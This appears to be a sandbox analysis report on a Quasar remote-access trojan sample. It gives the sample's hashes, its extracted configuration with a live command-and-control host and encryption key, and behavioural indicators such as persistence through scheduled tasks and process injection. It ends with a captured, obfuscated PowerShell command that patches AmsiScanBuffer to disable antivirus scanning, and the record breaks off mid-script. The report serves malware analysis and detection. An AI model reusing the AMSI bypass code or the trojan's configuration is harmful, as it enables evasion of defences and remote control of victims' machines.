Analysis
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max time kernel
150s -
max time network
135s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
02-05-2024 20:58
Behavioral task
behavioral1
Sample
R0X-Built.exe
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
R0X-Built.exe
Resource
win10v2004-20240419-en
General
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Target
R0X-Built.exe
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Size
409KB
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MD5
a0f5aa5764c4f66eee82f857f9f447b6
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SHA1
3c3a780d020cb3eb3088223443fe813abb95dccd
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SHA256
43c6b9b6c241dbd6ad1bde7980026235373374d5e836fb6c794354a15e678ef3
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SHA512
458c03ae490e409598b8e9e89911b0757fb61411fbc45a60ecefed3c13d0fc96b7bc205afe1fb3e0f7585eb163f102754ec9259691eca1bfa00b028f74eb8384
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SSDEEP
6144:RMX2pJAJcC0B61K6qZ1fQ57P/EwXhb4azmosb+lfXdOIFyoOOfTA3pwF:lpyJcC+uK6qZ1G8QJjbfNOSOObA3pwF
Malware Config
Extracted
quasar
3.1.5
Slave
even-lemon.gl.at.ply.gg:33587
$Sxr-3vDee7FzoJnhqjuE3n
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encryption_key
KaNwItdY6wlv5nCN4prL
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install_name
$srr-powershell.exe
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log_directory
Logs
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reconnect_delay
1000
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startup_key
$srr-powershell
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subdirectory
Windows
Signatures
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Quasar payload 2 IoCs
Processes:
resource yara_rule behavioral1/memory/2272-1-0x0000000000F00000-0x0000000000F6C000-memory.dmp family_quasar C:\Users\Admin\AppData\Roaming\Windows\$srr-powershell.exe family_quasar -
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
powershell.EXEdescription pid process target process PID 3516 created 588 3516 powershell.EXE winlogon.exe -
Downloads MZ/PE file
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Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
wmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe -
Executes dropped EXE 2 IoCs
Processes:
$srr-powershell.exeinstall.exepid process 4580 $srr-powershell.exe 1892 install.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 1 ip-api.com -
Drops file in System32 directory 7 IoCs
Processes:
OfficeClickToRun.exesvchost.exepowershell.EXEdescription ioc process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 OfficeClickToRun.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.EXEdescription pid process target process PID 3516 set thread context of 2612 3516 powershell.EXE dllhost.exe -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeSCHTASKS.exeschtasks.exepid process 3260 schtasks.exe 4216 SCHTASKS.exe 512 schtasks.exe -
Modifies data under HKEY_USERS 57 IoCs
Processes:
powershell.EXEOfficeClickToRun.exesvchost.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={453FD598-1DD2-478B-921B-7F687A46E64D}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1714683609" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Thu, 02 May 2024 21:00:09 GMT" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.EXEdllhost.exe$srr-powershell.exewmiprvse.exepid process 3516 powershell.EXE 3516 powershell.EXE 3516 powershell.EXE 3516 powershell.EXE 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 4580 $srr-powershell.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 3528 wmiprvse.exe 4580 $srr-powershell.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 4580 $srr-powershell.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 4580 $srr-powershell.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 4580 $srr-powershell.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe 2612 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
R0X-Built.exe$srr-powershell.exepowershell.EXEdllhost.exesvchost.exedescription pid process Token: SeDebugPrivilege 2272 R0X-Built.exe Token: SeDebugPrivilege 4580 $srr-powershell.exe Token: SeDebugPrivilege 3516 powershell.EXE Token: SeDebugPrivilege 3516 powershell.EXE Token: SeDebugPrivilege 2612 dllhost.exe Token: SeAssignPrimaryTokenPrivilege 2468 svchost.exe Token: SeIncreaseQuotaPrivilege 2468 svchost.exe Token: SeSecurityPrivilege 2468 svchost.exe Token: SeTakeOwnershipPrivilege 2468 svchost.exe Token: SeLoadDriverPrivilege 2468 svchost.exe Token: SeSystemtimePrivilege 2468 svchost.exe Token: SeBackupPrivilege 2468 svchost.exe Token: SeRestorePrivilege 2468 svchost.exe Token: SeShutdownPrivilege 2468 svchost.exe Token: SeSystemEnvironmentPrivilege 2468 svchost.exe Token: SeUndockPrivilege 2468 svchost.exe Token: SeManageVolumePrivilege 2468 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2468 svchost.exe Token: SeIncreaseQuotaPrivilege 2468 svchost.exe Token: SeSecurityPrivilege 2468 svchost.exe Token: SeTakeOwnershipPrivilege 2468 svchost.exe Token: SeLoadDriverPrivilege 2468 svchost.exe Token: SeSystemtimePrivilege 2468 svchost.exe Token: SeBackupPrivilege 2468 svchost.exe Token: SeRestorePrivilege 2468 svchost.exe Token: SeShutdownPrivilege 2468 svchost.exe Token: SeSystemEnvironmentPrivilege 2468 svchost.exe Token: SeUndockPrivilege 2468 svchost.exe Token: SeManageVolumePrivilege 2468 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2468 svchost.exe Token: SeIncreaseQuotaPrivilege 2468 svchost.exe Token: SeSecurityPrivilege 2468 svchost.exe Token: SeTakeOwnershipPrivilege 2468 svchost.exe Token: SeLoadDriverPrivilege 2468 svchost.exe Token: SeSystemtimePrivilege 2468 svchost.exe Token: SeBackupPrivilege 2468 svchost.exe Token: SeRestorePrivilege 2468 svchost.exe Token: SeShutdownPrivilege 2468 svchost.exe Token: SeSystemEnvironmentPrivilege 2468 svchost.exe Token: SeUndockPrivilege 2468 svchost.exe Token: SeManageVolumePrivilege 2468 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2468 svchost.exe Token: SeIncreaseQuotaPrivilege 2468 svchost.exe Token: SeSecurityPrivilege 2468 svchost.exe Token: SeTakeOwnershipPrivilege 2468 svchost.exe Token: SeLoadDriverPrivilege 2468 svchost.exe Token: SeSystemtimePrivilege 2468 svchost.exe Token: SeBackupPrivilege 2468 svchost.exe Token: SeRestorePrivilege 2468 svchost.exe Token: SeShutdownPrivilege 2468 svchost.exe Token: SeSystemEnvironmentPrivilege 2468 svchost.exe Token: SeUndockPrivilege 2468 svchost.exe Token: SeManageVolumePrivilege 2468 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2468 svchost.exe Token: SeIncreaseQuotaPrivilege 2468 svchost.exe Token: SeSecurityPrivilege 2468 svchost.exe Token: SeTakeOwnershipPrivilege 2468 svchost.exe Token: SeLoadDriverPrivilege 2468 svchost.exe Token: SeSystemtimePrivilege 2468 svchost.exe Token: SeBackupPrivilege 2468 svchost.exe Token: SeRestorePrivilege 2468 svchost.exe Token: SeShutdownPrivilege 2468 svchost.exe Token: SeSystemEnvironmentPrivilege 2468 svchost.exe Token: SeUndockPrivilege 2468 svchost.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
R0X-Built.exe$srr-powershell.exepowershell.EXEdllhost.exedescription pid process target process PID 2272 wrote to memory of 3260 2272 R0X-Built.exe schtasks.exe PID 2272 wrote to memory of 3260 2272 R0X-Built.exe schtasks.exe PID 2272 wrote to memory of 3260 2272 R0X-Built.exe schtasks.exe PID 2272 wrote to memory of 4580 2272 R0X-Built.exe $srr-powershell.exe PID 2272 wrote to memory of 4580 2272 R0X-Built.exe $srr-powershell.exe PID 2272 wrote to memory of 4580 2272 R0X-Built.exe $srr-powershell.exe PID 2272 wrote to memory of 1892 2272 R0X-Built.exe install.exe PID 2272 wrote to memory of 1892 2272 R0X-Built.exe install.exe PID 2272 wrote to memory of 1892 2272 R0X-Built.exe install.exe PID 2272 wrote to memory of 4216 2272 R0X-Built.exe SCHTASKS.exe PID 2272 wrote to memory of 4216 2272 R0X-Built.exe SCHTASKS.exe PID 2272 wrote to memory of 4216 2272 R0X-Built.exe SCHTASKS.exe PID 4580 wrote to memory of 512 4580 $srr-powershell.exe schtasks.exe PID 4580 wrote to memory of 512 4580 $srr-powershell.exe schtasks.exe PID 4580 wrote to memory of 512 4580 $srr-powershell.exe schtasks.exe PID 3516 wrote to memory of 2612 3516 powershell.EXE dllhost.exe PID 3516 wrote to memory of 2612 3516 powershell.EXE dllhost.exe PID 3516 wrote to memory of 2612 3516 powershell.EXE dllhost.exe PID 3516 wrote to memory of 2612 3516 powershell.EXE dllhost.exe PID 3516 wrote to memory of 2612 3516 powershell.EXE dllhost.exe PID 3516 wrote to memory of 2612 3516 powershell.EXE dllhost.exe PID 3516 wrote to memory of 2612 3516 powershell.EXE dllhost.exe PID 3516 wrote to memory of 2612 3516 powershell.EXE dllhost.exe PID 2612 wrote to memory of 588 2612 dllhost.exe winlogon.exe PID 2612 wrote to memory of 640 2612 dllhost.exe lsass.exe PID 2612 wrote to memory of 740 2612 dllhost.exe svchost.exe PID 2612 wrote to memory of 904 2612 dllhost.exe svchost.exe PID 2612 wrote to memory of 1008 2612 dllhost.exe dwm.exe PID 2612 wrote to memory of 372 2612 dllhost.exe svchost.exe PID 2612 wrote to memory of 364 2612 dllhost.exe svchost.exe PID 2612 wrote to memory of 560 2612 dllhost.exe svchost.exe PID 2612 wrote to memory of 1052 2612 dllhost.exe svchost.exe PID 2612 wrote to memory of 1108 2612 dllhost.exe svchost.exe PID 2612 wrote to memory of 1184 2612 dllhost.exe svchost.exe PID 2612 wrote to memory of 1204 2612 dllhost.exe svchost.exe PID 2612 wrote to memory of 1248 2612 dllhost.exe svchost.exe PID 2612 wrote to memory of 1256 2612 dllhost.exe svchost.exe PID 2612 wrote to memory of 1400 2612 dllhost.exe svchost.exe PID 2612 wrote to memory of 1428 2612 dllhost.exe svchost.exe PID 2612 wrote to memory of 1460 2612 dllhost.exe svchost.exe PID 2612 wrote to memory of 1544 2612 dllhost.exe svchost.exe PID 2612 wrote to memory of 1552 2612 dllhost.exe svchost.exe PID 2612 wrote to memory of 1596 2612 dllhost.exe svchost.exe PID 2612 wrote to memory of 1672 2612 dllhost.exe svchost.exe PID 2612 wrote to memory of 1692 2612 dllhost.exe svchost.exe PID 2612 wrote to memory of 1832 2612 dllhost.exe svchost.exe PID 2612 wrote to memory of 1848 2612 dllhost.exe svchost.exe PID 2612 wrote to memory of 1924 2612 dllhost.exe svchost.exe PID 2612 wrote to memory of 1936 2612 dllhost.exe svchost.exe PID 2612 wrote to memory of 2020 2612 dllhost.exe spoolsv.exe PID 2612 wrote to memory of 1572 2612 dllhost.exe svchost.exe PID 2612 wrote to memory of 2224 2612 dllhost.exe svchost.exe PID 2612 wrote to memory of 2324 2612 dllhost.exe svchost.exe PID 2612 wrote to memory of 2336 2612 dllhost.exe svchost.exe PID 2612 wrote to memory of 2352 2612 dllhost.exe svchost.exe PID 2612 wrote to memory of 2368 2612 dllhost.exe svchost.exe PID 2612 wrote to memory of 2452 2612 dllhost.exe sysmon.exe PID 2612 wrote to memory of 2460 2612 dllhost.exe svchost.exe PID 2612 wrote to memory of 2468 2612 dllhost.exe svchost.exe PID 2612 wrote to memory of 2476 2612 dllhost.exe svchost.exe PID 2612 wrote to memory of 2804 2612 dllhost.exe svchost.exe PID 2612 wrote to memory of 2924 2612 dllhost.exe sihost.exe PID 2612 wrote to memory of 2956 2612 dllhost.exe svchost.exe PID 2612 wrote to memory of 2992 2612 dllhost.exe unsecapp.exe
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:588
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:1008
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{db1b133a-95de-4d86-9523-3a73d5ad5f9b}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2612
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:640
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay1⤵PID:740
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s LSM1⤵PID:904
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts1⤵PID:372
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵PID:364
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService1⤵PID:560
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog1⤵PID:1052
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵PID:1108
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c:\windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:3048
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:mvSTmrtpdXoW{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$EUgPqqPxZidrCN,[Parameter(Position=1)][Type]$GrwCvqPdVw)$jxOVHyCXjIX=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+[Char](108)+'e'+[Char](99)+'te'+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+'a'+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+'e'+''+[Char](109)+''+'o'+'r'+[Char](121)+''+[Char](77)+'o'+'d'+'ule',$False).DefineType(''+'M'+'y'+[Char](68)+''+[Char](101)+'l'+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'T'+[Char](121)+''+[Char](112)+''+'e'+'','Cla'+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+'S'+'e'+'a'+''+[Char](108)+''+[Char](101)+''+'d'+''+[Char](44)+'A'+[Char](110)+''+[Char](115)+'iC'+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+'t'+[Char](111)+''+'C'+'l'+[Char](97)+'s'+'s'+'',[MulticastDelegate]);$jxOVHyCXjIX.DefineConstructor(''+'R'+'T'+[Char](83)+'p'+'e'+''+'c'+'i'+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+'m'+''+[Char](101)+','+'H'+'ide'+[Char](66)+''+[Char](121)+''+'S'+''+[Char](105)+'g'+[Char](44)+''+'P'+'ub'+[Char](108)+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$EUgPqqPxZidrCN).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'nt'+[Char](105)+''+'m'+''+'e'+''+[Char](44)+''+[Char](77)+'a'+[Char](110)+''+'a'+''+[Char](103)+''+[Char](101)+''+'d'+'');$jxOVHyCXjIX.DefineMethod(''+'I'+'n'+'v'+''+'o'+''+[Char](107)+''+'e'+'',''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+','+[Char](72)+''+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+'N'+[Char](101)+''+'w'+'Sl'+'o'+''+[Char](116)+',Vir'+'t'+''+'u'+''+[Char](97)+''+[Char](108)+'',$GrwCvqPdVw,$EUgPqqPxZidrCN).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+'e,'+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $jxOVHyCXjIX.CreateType();}$oUxxOyTYhFKVB=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+[Char](115)+''+'t'+''+[Char](101)+''+[Char](109)+''+[Char](46)+'dl'+[Char](108)+'')}).GetType('M'+[Char](105)+'c'+'r'+''+[Char](111)+''+[Char](115)+''+[Char](111)+'f'+'t'+'.'+[Char](87)+''+'i'+''+[Char](110)+'3'+'2'+''+[Char](46)+''+[Char](85)+''+'n'+''+'s'+''+'a'+'f'+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+'i'+'v'+'e'+[Char](77)+''+[Char](101)+'t'+[Char](104)+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$YdNoYRQjDixXWe=$oUxxOyTYhFKVB.GetMethod(''+[Char](71)+''+'e'+''+'t'+''+'P'+''+[Char](114)+'o'+[Char](99)+'Add'+[Char](114)+''+[Char](101)+''+'s'+''+'s'+'',[Reflection.BindingFlags]('P'+'u'+''+[Char](98)+'l'+'i'+''+[Char](99)+''+[Char](44)+'S'+[Char](116)+'a'+[Char](116)+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$BbIkBNfDsyBuFiDrUpH=mvSTmrtpdXoW @([String])([IntPtr]);$NZVHnyEBdpJKgYVYkpDccz=mvSTmrtpdXoW @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$BinObarFItT=$oUxxOyTYhFKVB.GetMethod(''+[Char](71)+'e'+[Char](116)+'Mo'+[Char](100)+''+'u'+''+'l'+''+[Char](101)+'H'+[Char](97)+''+[Char](110)+''+'d'+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+'r'+'n'+''+'e'+'l'+'3'+''+'2'+''+[Char](46)+''+'d'+''+[Char](108)+''+'l'+'')));$cMnrdXvvepBbMn=$YdNoYRQjDixXWe.Invoke($Null,@([Object]$BinObarFItT,[Object](''+[Char](76)+'o'+[Char](97)+''+'d'+''+[Char](76)+''+'i'+''+[Char](98)+'r'+[Char](97)+'r'+[Char](121)+''+'A'+'')));$FXGFiHzyDpEDorcee=$YdNoYRQjDixXWe.Invoke($Null,@([Object]$BinObarFItT,[Object](''+[Char](86)+''+[Char](105)+''+'r'+'t'+[Char](117)+''+'a'+''+[Char](108)+'P'+'r'+'o'+'t'+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$CiJNDCm=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($cMnrdXvvepBbMn,$BbIkBNfDsyBuFiDrUpH).Invoke(''+'a'+''+[Char](109)+'s'+'i'+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$qUwUsOfBSUcGRivgG=$YdNoYRQjDixXWe.Invoke($Null,@([Object]$CiJNDCm,[Object]('A'+[Char](109)+''+[Char](115)+''+'i'+''+[Char](83)+'c'+[Char](97)+''+'n'+''+[Char](66)+''+'u'+''+[Char](102)+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$kkGQorNbKI=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FXGFiHzyDpEDorcee,$NZVHnyEBdpJKgYVYkpDccz).Invoke($qUwUsOfBSUcGRivgG,[uint32]8,4,[ref]$kkGQorNbKI);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$qUwUsOfBSUcGRivgG,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FXGFiHzyDpEDorcee,$NZVHnyEBdpJKgYVYkpDccz).Invoke($qUwUsOfBSUcGRivgG,[uint32]8,0x20,[ref]$kkGQorNbKI);[Reflection